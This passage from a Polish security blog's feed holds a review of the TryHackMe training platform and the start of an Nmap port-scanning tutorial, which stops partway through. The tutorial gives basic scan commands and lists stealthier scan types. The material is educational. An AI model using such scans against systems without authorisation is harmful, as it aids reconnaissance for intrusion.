<figure class="wp-block-image size-large"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-czy-warto.png"><img loading="lazy" decoding="async" width="1024" height="638" src="https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-czy-warto-1024x638.png" alt="tryhackme czy warto" class="wp-image-15902" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-czy-warto-1024x638.png 1024w, https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-czy-warto-300x187.png 300w, https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-czy-warto-768x479.png 768w, https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-czy-warto-1536x958.png 1536w, https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-czy-warto.png 1920w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15902" /></a></figure>



<p class="wp-block-paragraph">I tu właśnie z pomocą przychodzi TryHackMe. Jest to platforma edukacyjna, która łączy naukę teorii z praktyką. Do dyspozycji otrzymujemy kontrolowane środowisko w którym możemy testować zdobytą wiedzę. </p>



<p class="wp-block-paragraph">Należy w tym miejscu zaznaczyć, że platforma TryHackMe jest dostępna w języku angielskim. Nie ma dostępnego polskiego tłumaczenia. Jednak nie uważam tego za minus, ponieważ osoby wkraczające w cyberbezpieczeństwo powinny znać język angielski, gdyż większość dokumentacji i poradników jest dostępna w tym właśnie języku.</p>



<h2 class="wp-block-heading">Podział na ścieżki, moduły i pokoje</h2>



<p class="wp-block-paragraph">Cały materiał, który jest dostępny na TryHackMe jest podzielony dla ścieżki tematyczne (Learning Paths):</p>



<figure class="wp-block-image size-large"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-podzial-na-sciezki.png"><img loading="lazy" decoding="async" width="1024" height="693" src="https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-podzial-na-sciezki-1024x693.png" alt="tryhackme podział na ścieżki" class="wp-image-15903" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-podzial-na-sciezki-1024x693.png 1024w, https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-podzial-na-sciezki-300x203.png 300w, https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-podzial-na-sciezki-768x520.png 768w, https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-podzial-na-sciezki.png 1210w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15903" /></a></figure>



<p class="wp-block-paragraph">Jest to bardzo przydatne zwłaszcza dla początkujących osób. Platforma oferuje szeroki wachlarz ścieżek, które pomagają systematycznie zdobywać wiedzę i doświadczenie w wybranych dziedzinach cyberbezpieczeństwa. Do wyboru mamy ścieżki, które są przygotowane z myślą o początkujących osobach, a także o tych bardziej zaawansowanych. Uważam to za dobre posunięcie, ponieważ początkujące osoby nie muszą się zastanawiać od czego powinny zacząć. Przy każdej ścieżce znajduje się informacja odnośnie poziomu trudności:</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-opinie.png"><img loading="lazy" decoding="async" width="604" height="425" src="https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-opinie.png" alt="tryhackme opinie" class="wp-image-15906" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-opinie.png 604w, https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-opinie-300x211.png 300w" sizes="auto, (max-width: 604px) 100vw, 604px" data-mwl-img-id="15906" /></a></figure>



<p class="wp-block-paragraph">Poszczególne ścieżki podzielone są moduły. Przykładowo ścieżka <strong>Web Application Pentesting</strong> zawiera moduły (sekcje) takie tak:</p>



<ul class="wp-block-list">
<li>Authentication,</li>



<li>Injection Attacks,</li>



<li>Advanced Server-Side Attacks,</li>



<li>Advanced Client-Side Attacks,</li>



<li>HTTP Request Smuggling.</li>
</ul>



<figure class="wp-block-image size-large"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/sekcje-w-tryhackme-1.png"><img loading="lazy" decoding="async" width="1024" height="700" src="https://pentestuj.pl/wp-content/uploads/2025/01/sekcje-w-tryhackme-1-1024x700.png" alt="jak działa TryHackMe" class="wp-image-15938" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/sekcje-w-tryhackme-1-1024x700.png 1024w, https://pentestuj.pl/wp-content/uploads/2025/01/sekcje-w-tryhackme-1-300x205.png 300w, https://pentestuj.pl/wp-content/uploads/2025/01/sekcje-w-tryhackme-1-768x525.png 768w, https://pentestuj.pl/wp-content/uploads/2025/01/sekcje-w-tryhackme-1.png 1182w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15938" /></a></figure>



<p class="wp-block-paragraph">Każdy moduł składa się z pokoi (rooms), np. moduł Advanced Client-Side Attacks składa się z pokoi takich jak:</p>



<ul class="wp-block-list">
<li>XSS,</li>



<li>CSRF,</li>



<li>DOM-Based Attack,</li>



<li>CORS &amp; SOP,</li>



<li>Challenge &#8222;Whats Your Name?&#8221;</li>
</ul>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/moduly-tryhackme-1.png"><img loading="lazy" decoding="async" width="739" height="389" src="https://pentestuj.pl/wp-content/uploads/2025/01/moduly-tryhackme-1.png" alt="TryHackMe nauka hackowania" class="wp-image-15939" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/moduly-tryhackme-1.png 739w, https://pentestuj.pl/wp-content/uploads/2025/01/moduly-tryhackme-1-300x158.png 300w" sizes="auto, (max-width: 739px) 100vw, 739px" data-mwl-img-id="15939" /></a></figure>



<p class="wp-block-paragraph">Pokój z kolei składa się z teorii oraz zadań . Dodatkowo w każdym pokoju mamy dostęp do maszyny, na której możemy testować nasze umiejętności, tzw. AttackBox.</p>



<figure class="wp-block-image size-large"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/attackbox-tryhackme-1.png"><img loading="lazy" decoding="async" width="1024" height="842" src="https://pentestuj.pl/wp-content/uploads/2025/01/attackbox-tryhackme-1-1024x842.png" alt="THM nauka hackowania" class="wp-image-15936" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/attackbox-tryhackme-1-1024x842.png 1024w, https://pentestuj.pl/wp-content/uploads/2025/01/attackbox-tryhackme-1-300x247.png 300w, https://pentestuj.pl/wp-content/uploads/2025/01/attackbox-tryhackme-1-768x631.png 768w, https://pentestuj.pl/wp-content/uploads/2025/01/attackbox-tryhackme-1.png 1069w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15936" /></a></figure>



<p class="wp-block-paragraph">Jak widzisz całość jest logicznie uporządkowana i przez to bardzo łatwo jest się odnaleźć na początku swojej przygody z THM 🙂</p>



<h2 class="wp-block-heading">Jak działają pokoje (rooms)</h2>



<p class="wp-block-paragraph">Tak jak już wcześniej wspomniałam materiał, który jest dostępny na TryHackMe jest podzielony na pokoje (rooms). Można powiedzieć, że są to odrębne środowiska laboratoryjne. Każdy z pokoi skupia się na danym temacie.</p>



<p class="wp-block-paragraph">Dostępne są pokoje, które dostarczają nam wiedzę teoretyczną, a także środowisko laboratoryjne w którym możemy to przećwiczyć. Teoria jest często przeplatana zadaniami. Najczęściej są to zadania CTF, w których musimy zdobyć ukrytą flagę, czyli określony ciąg znaków, który potem musimy wpisać w specjalnie przygotowanym do tego polu. Jeśli flaga jest prawidłowa, zadanie jest oznaczane jako zaliczone. </p>



<p class="wp-block-paragraph">Drugą grupę stanowią pokoje w których nie znajdziemy już wstępu teoretycznego, a jedynie same zadania CTF. Po prostu są to specjalnie przygotowane systemy, które celowo mają wprowadzone luki bezpieczeństwa, poprzez które należy włamać się i zdobyć ukryte flagi.</p>



<h2 class="wp-block-heading">Czym jest AttackBox</h2>



<p class="wp-block-paragraph">AttackBox jest to wirtualne środowisko dostępne na platformie TryHackMe, które umożliwia użytkownikom przeprowadzanie testów penetracyjnych  i rozwiązywanie zadań bez potrzeby posiadania własnej infrastruktury. To po prostu maszyna wirtualna uruchamiana z poziomu TryHackMe, w której użytkownicy mogą przeprowadzać ataki, eksperymentować z narzędziami bezpieczeństwa oraz testować aplikacje i systemy w izolowanym środowisku.</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/czym-jest-try-hack-me.png"><img loading="lazy" decoding="async" width="841" height="377" src="https://pentestuj.pl/wp-content/uploads/2025/01/czym-jest-try-hack-me.png" alt="czym jest TryHackMe" class="wp-image-15944" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/czym-jest-try-hack-me.png 841w, https://pentestuj.pl/wp-content/uploads/2025/01/czym-jest-try-hack-me-300x134.png 300w, https://pentestuj.pl/wp-content/uploads/2025/01/czym-jest-try-hack-me-768x344.png 768w" sizes="auto, (max-width: 841px) 100vw, 841px" data-mwl-img-id="15944" /></a></figure>



<figure class="wp-block-image size-large"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/attackbox-thm-nauka-hackowania.png"><img loading="lazy" decoding="async" width="1024" height="478" src="https://pentestuj.pl/wp-content/uploads/2025/01/attackbox-thm-nauka-hackowania-1024x478.png" alt="THM nauka hackowania" class="wp-image-15940" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/attackbox-thm-nauka-hackowania-1024x478.png 1024w, https://pentestuj.pl/wp-content/uploads/2025/01/attackbox-thm-nauka-hackowania-300x140.png 300w, https://pentestuj.pl/wp-content/uploads/2025/01/attackbox-thm-nauka-hackowania-768x359.png 768w, https://pentestuj.pl/wp-content/uploads/2025/01/attackbox-thm-nauka-hackowania-1536x718.png 1536w, https://pentestuj.pl/wp-content/uploads/2025/01/attackbox-thm-nauka-hackowania.png 1920w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15940" /></a></figure>



<p class="wp-block-paragraph">Uważam, że jest to bardzo fajna opcja dla początkujących osób, które nie są jeszcze biegłe w konfiguracji swojego własnego środowiska Linuxowego. Niestety rozwiązanie to ma pewne wady. Po pierwsze czasem potrafi się &#8222;wysypać&#8221;. Niestety zdarzyło mi się to kilka razy. Po drugie działamy na &#8222;obcym&#8221; systemie, który nie jest przez nas skonfigurowany. Po trzecie AttackBox potrafi czasem zamulać.</p>



<p class="wp-block-paragraph">Właśnie z tego powodu wolę podłączyć poprzez OpenVPN swoje własne środowisko Kali Linux postawione na maszynie wirtualnej. Może brzmi skomplikowanie, ale w rzeczywistości jest to banalnie proste, a nauka na TryHackMe staje się dużo przyjemniejsza.</p>



<h2 class="wp-block-heading">Jakie są zalety i wady TryHackMe</h2>



<p class="wp-block-paragraph">Uważam że sporą zaletą jest duża przejrzystość platformy. Podział na ścieżki, moduły i pokoje jest całkiem logiczny i wprowadza duże ułatwienie dla osób początkujących. Niestety niektóre pokoje są przypisane do kilku ścieżek. Przykładowo jeśli rozwiążesz wszystkie zadania z wybranej ścieżki zobaczysz, że masz postępy także na kilku innych ścieżkach. Tak więc pokoi jest trochę mniej niż mogło by się wydawać na pierwszy rzut oka.</p>



<p class="wp-block-paragraph">Bardzo fajny jest podział pokoi zależności od poziomu trudności. Jednak tu także nie zawsze się to sprawdza. Parę razy mi się zdarzyło, że moduł oznaczony jako łatwy w rzeczywistości okazywał się nieco bardziej zaawansowany.</p>



<p class="wp-block-paragraph">Środowisko AttackBox jest świetnym dodatkiem. Dzięki temu można od razu testować swoją wiedzę, bez potrzeby konfiguracji własnego środowiska. Niestety AttackBox ma swoje ograniczenia, o których wcześniej pisałam. Jednak i tak uważam, że jest to super dodatek.</p>



<p class="wp-block-paragraph">Poziom merytoryczny danych modułów jest różny. Widać, że szykowały je różne osoby. Niektóre moduły są przygotowane w wyczerpujący i mega profesjonalny sposób, a inne nieco odbiegają od nich jakościowo. Mimo wszystko całość oceniam na mocną piątkę.</p>



<p class="wp-block-paragraph">Bardzo fajna jest wyszukiwarka modułów. Za jej pomocą możemy przeszukiwać moduły pod kątem fraz, a także stopnia trudności.</p>



<p class="wp-block-paragraph">Po ukończeniu danej ścieżki otrzymujemy certyfikat. Niestety nie ma on dużej wartości na rynku pracy, z uwagi na fakt, że na stronie THM przy każdym module są dostępne writeupy. Oprócz tego rozwiązania poszczególnych zadań znajdziemy w sieci.</p>



<h2 class="wp-block-heading">Czym się różni płatna wersja od darmowej</h2>



<p class="wp-block-paragraph">TryHackMe jest dostępne w 3 pakietach: Free, Premium, Business. Pakiet Free jak sama nazwa wskazuje jest bezpłatny, natomiast Premium oraz Business są płatne. Ja jednak skupię się na tańszej wersji Premium.</p>



<p class="wp-block-paragraph">Bezpłatna wersja ma swoje ograniczenia, które z czasem bywają uciążliwe. W wersji bezpłatnej mamy dostęp tylko do pokoi, które są oznaczone jako free. Często pokoje te są przeznaczone dla osób początkujących. Bardziej zaawansowane treści są płatne. Decydując się na daną ścieżkę musisz mieć na uwadze to, że będziesz mieć dostęp tylko do początkowych modułów. Tak więc jeśli chcesz przejść przez całą ścieżkę, musisz mieć wykupione konto premium.</p>



<p class="wp-block-paragraph">W wersji darmowej jest ograniczenie w dostępie do AttackBox. Darmowe konta mają dostęp tylko przez godzinę w danym dniu. Ja jednak nie lubię korzystać z AttackBox. Dużo lepiej pracuje mi się na własnym systemie poprzez OpenVPN. Tak więc uważam, że spokojnie można obejść to ograniczenie.</p>



<p class="wp-block-paragraph"> W wersji premium otrzymujemy też szybsze maszyny, co przekłada się na komfort korzystania z serwisu.</p>



<p class="wp-block-paragraph">Dużym zaskoczeniem było dla mnie to, że kupując wersję premium nie otrzymałam faktury. Obecnie jest tak, że tylko kupując konto business otrzymamy fakturę. Jednak dostałam odpowiedź z supportu, że z czasem może wprowadzą zmiany w tym zakresie.</p>



<h2 class="wp-block-heading">Czy warto wykupić konto premium na TryHackMe?</h2>



<p class="wp-block-paragraph">Jeśli dopiero zaczynasz swoją przygodę z THM, uważam że na początek warto przetestować platformę w wersji bezpłatnej. Akurat w wersji free mamy dostęp do najłatwiejszych modułów. Dzięki temu sprawdzisz, czy odpowiada Ci taka forma szkoleń.</p>



<p class="wp-block-paragraph">Warto wykupić konto premium, jeśli planujesz intensywnie korzystać z THM. Wtedy na pewno się to opłaci. Czasami można natrafić na promocję, zwłaszcza na Black Friday.</p>



<p class="wp-block-paragraph">Ogólnie rzecz biorąc THM zawiera dużo teorii i zadań praktycznych, jednak nie można traktować tego jako jedynego źródła wiedzy. Warto poszerzać swoją wiedzę korzystając z książek, a także innych serwisów takich jak PortSwigger czy HackTheBox. Jednak uwaga ta dotyczy także pozostałych serwisów.</p>
<p>Artykuł <a href="https://pentestuj.pl/tryhackme-czym-jest-i-czy-warto-wykupic-wersje-platna/">TryHackMe &#8211; czym jest i czy warto wykupić wersję premium</a> pochodzi z serwisu <a href="https://pentestuj.pl">Pentestuj</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://pentestuj.pl/tryhackme-czym-jest-i-czy-warto-wykupic-wersje-platna/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Nmap &#8211; jak sprawdzić otwarte porty &#124; skanowanie portów</title>
		<link>https://pentestuj.pl/nmap-jak-sprawdzic-otwarte-porty/</link>
					<comments>https://pentestuj.pl/nmap-jak-sprawdzic-otwarte-porty/#respond</comments>
		
		<dc:creator><![CDATA[MonikaSz]]></dc:creator>
		<pubDate>Fri, 18 Apr 2025 06:00:24 +0000</pubDate>
				<category><![CDATA[Bezpieczeństwo sieci]]></category>
		<guid isPermaLink="false">https://pentestuj.pl/?p=15308</guid>

					<description><![CDATA[<p>Nmap to bezpłatne narzędzie open source służące do skanowania i analizy sieci komputerowych. Jest szeroko używany przez administratorów systemów oraz specjalistów ds. bezpieczeństwa do wykrywania urządzeń w sieci, sprawdzania otwartych portów, identyfikacji usług działających na tych portach oraz ustalania wersji oprogramowania i systemów operacyjnych. Oczywiście Nmap nie jest jedynym narzędziem tego typu. Jednak niewątpliwie jest [&#8230;]</p>
<p>Artykuł <a href="https://pentestuj.pl/nmap-jak-sprawdzic-otwarte-porty/">Nmap &#8211; jak sprawdzić otwarte porty | skanowanie portów</a> pochodzi z serwisu <a href="https://pentestuj.pl">Pentestuj</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">Nmap to bezpłatne narzędzie open source służące do skanowania i analizy sieci komputerowych. Jest szeroko używany przez administratorów systemów oraz specjalistów ds. bezpieczeństwa do wykrywania urządzeń w sieci, sprawdzania otwartych portów, identyfikacji usług działających na tych portach oraz ustalania wersji oprogramowania i systemów operacyjnych. Oczywiście Nmap nie jest jedynym narzędziem tego typu. Jednak niewątpliwie jest najczęściej stosowany. Dużą jego zaletą są wbudowane skrypty, za pomocą których można także szukać podatności, a nawet wykonywać exploity.</p>



<p class="wp-block-paragraph">W poradniku tym skupię się tylko i wyłącznie na skanowaniu portów za pomocą Nmapa. Omówię jakie są możliwe rodzaje skanowania, a także wyjaśnię kiedy należy ich używać i na co warto zwrócić uwagę.</p>



<h2 class="wp-block-heading">Czym są porty protokołu</h2>



<p class="wp-block-paragraph">Porty protokołu są to punkty końcowe komunikacji, które umożliwiają wymianę danych pomiędzy urządzeniami. Każdy port przypisany jest do konkretnego numeru (od 0 do 65535), co pozwala systemom identyfikować rodzaj usługi, z jaką ma być nawiązana komunikacja. Więcej o portach protokołu przeczytasz w osobnym artykule: <a href="https://pentestuj.pl/port-protokolu-co-to-jest" target="_blank" rel="noreferrer noopener">Port protokołu – co to jest?</a></p>



<p class="wp-block-paragraph">Kiedy komputer uruchamia wybraną usługę sieciową (np. otwiera w przeglądarce stronę google.com), otwiera port co umożliwia odbieranie połączeń. Porty są niezbędne, aby umożliwić jednoczesne obsługiwanie wielu żądań sieciowych lub oferować różne usługi na tym samym urządzeniu. Na przykład, gdy w przeglądarce otwierasz kilka stron internetowych naraz, program musi jakoś rozpoznać, która karta ładuje którą stronę. Dzieje się to poprzez nawiązywanie połączeń zdalnych z serwerami za pomocą różnych portów lokalnych na Twoim komputerze, jak na poniższym zrzucie.</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/12/nmap-skanowanie-portow.png"><img loading="lazy" decoding="async" width="1024" height="634" src="https://pentestuj.pl/wp-content/uploads/2024/12/nmap-skanowanie-portow.png" alt="nmap skanowanie portów" class="wp-image-15366" srcset="https://pentestuj.pl/wp-content/uploads/2024/12/nmap-skanowanie-portow.png 1024w, https://pentestuj.pl/wp-content/uploads/2024/12/nmap-skanowanie-portow-300x186.png 300w, https://pentestuj.pl/wp-content/uploads/2024/12/nmap-skanowanie-portow-768x476.png 768w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15366" /></a></figure>



<p class="wp-block-paragraph">Połączenia sieciowe nawiązywane są pomiędzy dwoma portami – jednym otwartym portem nasłuchującym na serwerze i losowo wybranym portem na Twoim urządzeniu. Na przykład podczas łączenia się ze stroną google.com Twój komputer może otworzyć port 52456, aby połączyć się z portem 443 serwera.</p>



<p class="wp-block-paragraph">Należy także wiedzieć, że niektóre numery portów są standardowo przypisane do danych usług, np.:</p>



<ul class="wp-block-list">
<li><strong>Port 20, 21</strong> &#8211; protokół FTP (File Transfer Protocol) &#8211; używany do przesyłania plików między serwerami i klientami. Port 21 służy do przesyłania poleceń i komunikatów między klientem a serwerem. Natomiast port 20 jest używany do transferu danych.</li>



<li><strong>Port</strong> <strong>22</strong> &#8211; protokół SSH (Secure Shell) &#8211; umożliwia bezpieczne zdalne logowanie i zarządzanie systemami.</li>



<li><strong>Port</strong> <strong>25</strong> &#8211; protokół SMTP (Simple Mail Transfer Protocol) &#8211; wykorzystywany do wysyłania wiadomości e-mail.</li>



<li><strong>Port 53</strong> &#8211; protokół DNS (Domain Name System) &#8211; służy do tłumaczenia nazw domenowych na adresy IP.</li>



<li><strong>Port 80</strong> &#8211; protokół HTTP (HyperText Transfer Protocol) &#8211; obsługuje standardowe strony internetowe.</li>



<li><strong>Port 443</strong> &#8211; protokół HTTPS (HTTP Secure) &#8211; zapewnia szyfrowane połączenia na stronach internetowych.</li>



<li><strong>Port 110</strong> &#8211; protokół POP3 (Post Office Protocol) &#8211; używany do odbierania wiadomości e-mail.</li>



<li><strong>Port 143</strong> &#8211; protokół IMAP (Internet Message Access Protocol) &#8211; umożliwia dostęp do wiadomości e-mail bez ich pobierania na lokalny komputer.</li>



<li><strong>Port 3389</strong> &#8211; protokół RDP (Remote Desktop Protocol) &#8211; wykorzystywany do zdalnego pulpitu na systemach Windows.</li>
</ul>



<p class="wp-block-paragraph">Oczywiście powyższe usługi można przypisać do innych numerów portów. Jednak takie ustawienia są najczęściej spotykane.</p>



<p class="wp-block-paragraph">Z punktu widzenia bezpieczeństwa, otwarte porty mogą być potencjalnym celem ataków, dlatego ważne jest monitorowanie i ograniczanie dostępu do tych, które nie są niezbędne do działania systemu.</p>



<h2 class="wp-block-heading">Oznaczenia portów</h2>



<p class="wp-block-paragraph">Nmap w wynikach skanowania określa porty korzystając z kilku statusów.</p>



<ul class="wp-block-list">
<li><strong>Otwarty (open)</strong> &#8211; port jest oznaczony jako otwarty, wtedy gdy aplikacja akceptuje połączenia TCP lub UDP na tym porcie. Ten status oznacza, że port ma przypisaną usługę nasłuchującą. Otwarty port stanowi cel dalszych badań pod kątem bezpieczeństwa. <strong>Przykład:</strong> Serwer WWW działający na porcie 80.</li>



<li><strong>Zamknięty (closed)</strong> &#8211; port odbiera i wysyła pakiety otrzymane z Nmapa, ale na porcie tym nie ma żadnej włączonej usługi, która obsługuje połączenia. Zamknięte porty mogą być użyteczne do sprawdzania, czy host jest aktywny oraz do identyfikowania systemu operacyjnego.</li>



<li><strong>Filtrowany</strong> <strong>(filtered)</strong> &#8211; komunikacja na tym porcie jest filtrowana (poprzez np. firewall), przez co Nmap nie jest w stanie określić, czy port ten jest otwarty czy zamknięty. Brak odpowiedzi może świadczyć o zabezpieczeniach chroniących ten port.</li>



<li><strong>Niefiltrowany (unfiltered)</strong> &#8211; dany port jest dostępny, ale Nmap nie jest w stanie określić czy jest otwarty czy zamknięty. Takie oznaczenie może zostać nadane tylko poprzez skanowanie ACK. W takiej sytuacji potrzebne jest dalsze skanowanie (np. Window, SYN czy FIN), które może pomóc w określeniu czy dany port jest otwarty czy zamknięty.</li>



<li><strong>Otwarty|filtrowany (open|filtered)</strong> &#8211; status występuje zwykle wtedy, gdy Nmap nie otrzymuje odpowiedzi na wysłane pakiety i nie jest w stanie rozpoznać, czy port jest otwarty, czy filtrowany. W ten sposób oznaczane są porty podczas skanowania UDP, FIN, Null, Xmas.</li>



<li><strong>Zamknięty|filtrowany</strong> <strong>(closed|filtered)</strong> &#8211; Nmap zazwyczaj stosuje ten status w sytuacjach, gdy nie może jednoznacznie stwierdzić, czy port jest zamknięty czy filtrowany. Taki wynik jest bardzo rzadko spotykany i może się pojawić tylko podczas skanowania IPID Idle.</li>
</ul>



<h2 class="wp-block-heading">Podstawowe polecenia Nmapa</h2>



<p class="wp-block-paragraph">Podstawowa składnia polecenia ma poniższą strukturę. Możemy wybrać metodę skanowania, dodatkowe opcje oraz określić cel:</p>



<pre class="wp-block-code"><code class="">nmap &lt;metoda skanowania&gt; &lt;opcje&gt; &lt;cel&gt;</code></pre>



<h3 class="wp-block-heading">Wybór portów</h3>



<p class="wp-block-paragraph">W Nmap przełącznik <strong><code>-p</code></strong> służy do określenia, które porty mają zostać przeskanowane. Domyślnie Nmap skanuje 1000 najczęściej używanych portów, ale dzięki przełącznikowi <strong><code>-p</code></strong> można dokładnie wskazać, które porty mają być sprawdzone. </p>



<p class="wp-block-paragraph">Skanowanie konkretnego portu (Nmap sprawdzi tylko port 80 na podanym hoście):</p>



<pre class="wp-block-code"><code class="">nmap -p 80 192.168.0.1</code></pre>



<p class="wp-block-paragraph">Skanowanie wielu portów (skanuje tylko porty 21, 80, 443):</p>



<pre class="wp-block-code"><code class="">nmap -p 21,80,443 192.168.0.1</code></pre>



<p class="wp-block-paragraph">Zakres portów (skanuje porty od 21 do 45):</p>



<pre class="wp-block-code"><code class="">nmap -p 21-45 192.168.0.1</code></pre>



<p class="wp-block-paragraph">Sprawdzenie wszystkich 65535 portów:</p>



<pre class="wp-block-code"><code class="">nmap -p- 192.168.0.1</code></pre>



<p class="wp-block-paragraph">Przeskanowanie najczęściej używanych portów zawartych w pliku nmap-services:</p>



<pre class="wp-block-code"><code class="">nmap -F 192.168.0.1</code></pre>



<h3 class="wp-block-heading">Zapis wyników</h3>



<p class="wp-block-paragraph">W Nmap możesz zapisywać wyniki skanowania na kilka różnych sposobów.</p>



<p class="wp-block-paragraph">Zapis do pliku w formacie zwykłego tekstu:</p>



<pre class="wp-block-code"><code class="">nmap -p 80,443 192.168.0.1 -oN wynik.txt</code></pre>



<p class="wp-block-paragraph">Zapis w formacie XML:</p>



<pre class="wp-block-code"><code class="">nmap -p 80,443 192.168.0.1 -oX wynik.xml</code></pre>



<p class="wp-block-paragraph">Zapisanie wyników w formacie łatwym do filtrowania poleceniem grep:</p>



<pre class="wp-block-code"><code class="">nmap -p 80,443 192.168.0.1 -oG wynik.txt</code></pre>



<p class="wp-block-paragraph">Zapis w trzech formatach jednocześnie:</p>



<pre class="wp-block-code"><code class="">nmap -p 80,443 192.168.0.1 -oA wynik</code></pre>



<h2 class="wp-block-heading">Metody skanowania portów</h2>



<p class="wp-block-paragraph">Nmap oferuje kilka metod skanowania. Warto je znać, ponieważ dzięki temu możemy odpowiednio podejść do danego problemu. Domyślny skan Nmapa może nie być wystarczający w sytuacjach wymagających większej precyzji lub gdy chcemy uniknąć wykrycia.</p>



<p class="wp-block-paragraph">Wyróżnia się trzy podstawowe metody skanowania:</p>



<ul class="wp-block-list">
<li>TCP SYN (-sS)</li>



<li>TCP Connect (-sT)</li>



<li>UDP (-sU)</li>
</ul>



<p class="wp-block-paragraph">Ponadto są także dodatkowe, aczkolwiek mniej popularne metody m.in.:</p>



<ul class="wp-block-list">
<li>TCP Null (-sN)</li>



<li>TCP FIN (-sF)</li>



<li>TCP Xmas (-sX)</li>



<li>TCP ACK (-sA)</li>



<li>TCP Maimon Scan (-sM)</li>



<li>Idle Scan (-sI)</li>
</ul>



<p class="wp-block-paragraph">Najczęściej będziesz używać trzech pierwszych metod skanowania. Jednak warto wiedzieć także o pozostałych technikach. Niestety niektóre z nich nie są już użyteczne we współczesnych systemach.</p>



<p class="has-white-color has-vivid-red-background-color has-text-color has-background has-link-color wp-elements-4 wp-block-paragraph">UWAGA! Zawsze miej na uwadze to, że wyniki z Nmapa nie muszą być prawdziwe. Dane są zwracane z systemów, które są chronione zaporami sieciowymi, tak więc celowo mogą zwracać nieprawdziwe dane.</p>



<h3 class="wp-block-heading">Skanowanie TCP SYN (-sS)</h3>



<p class="wp-block-paragraph">Skanowanie TCP SYN jest domyślnym ustawieniem, o ile jest możliwy taki typ skanowania (użytkownik wykonujący skanowanie musi mieć uprawnienia root). Jego główną cechą jest to, że podczas skanowania nie jest otwierane całe połączenie TCP. Dzięki temu ta metoda skanowania jest bardziej dyskretna. Skanowanie TCP SYN jest często nazywane &#8222;half open scans&#8221;, co w dosłownym tłumaczeniu oznacza pół otwarte skanowanie. Żeby lepiej to zrozumieć, zacznijmy od przypomnienia czym jest uzgadnianie trój-etapowe (ang. TCP 3-Way Handshake).</p>



<p class="wp-block-paragraph">Protokół TCP jest protokołem połączeniowym. Oznacza to, że zanim zostaną przesłane jakiekolwiek dane pomiędzy klientem a serwerem, najpierw musi zostać ustanowione połączenie, które nazywa się 3-Way Handshake. W pierwszej kolejności klient wysyła do serwera pakiet z flagą SYN. Serwer jest w ten sposób informowany, że dany klient chce nawiązać z nim połączenie. Serwer jeśli może nawiązać połączenie, wysyła w odpowiedzi pakiet z flagą SYN oraz ACK. Flaga ACK informuje klienta, że serwer otrzymał poprzedni pakiet. W odpowiedzi klient wysyła do serwera pakiet z flagą ACK, co jest potwierdzeniem otrzymania komunikatu. Od tej chwili zostaje nawiązane połączenie pomiędzy klientem a serwerem i jest możliwa właściwa transmisja danych. Połączenie TCP 3-Way Handshake jest przedstawione na poniższym obrazku:</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/12/skanowanie-portow-nmap-2.png"><img loading="lazy" decoding="async" width="1024" height="480" src="https://pentestuj.pl/wp-content/uploads/2024/12/skanowanie-portow-nmap-2.png" alt="skanowanie portów nmap" class="wp-image-15374" srcset="https://pentestuj.pl/wp-content/uploads/2024/12/skanowanie-portow-nmap-2.png 1024w, https://pentestuj.pl/wp-content/uploads/2024/12/skanowanie-portow-nmap-2-300x141.png 300w, https://pentestuj.pl/wp-content/uploads/2024/12/skanowanie-portow-nmap-2-768x360.png 768w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15374" /></a></figure>



<p class="wp-block-paragraph">Jak już wszystkie dane zostaną przesłane pomiędzy klientem a serwerem, następuje zamknięcie sesji. Klient w tym celu wysyła do serwera pakiet z ustawioną flagą FIN. Flaga ta informuje serwer, że sesja zostanie zamknięta. Serwer odpowiada pakietem z flagą ACK, co jest potwierdzeniem odebrania wcześniejszego pakietu od klienta. Następnie serwer przesyła kolejny pakiet z flagą FIN. Klient odpowiada mu na to pakietem z flagą ACK. Po tym sesja zostaje zamknięta.</p>



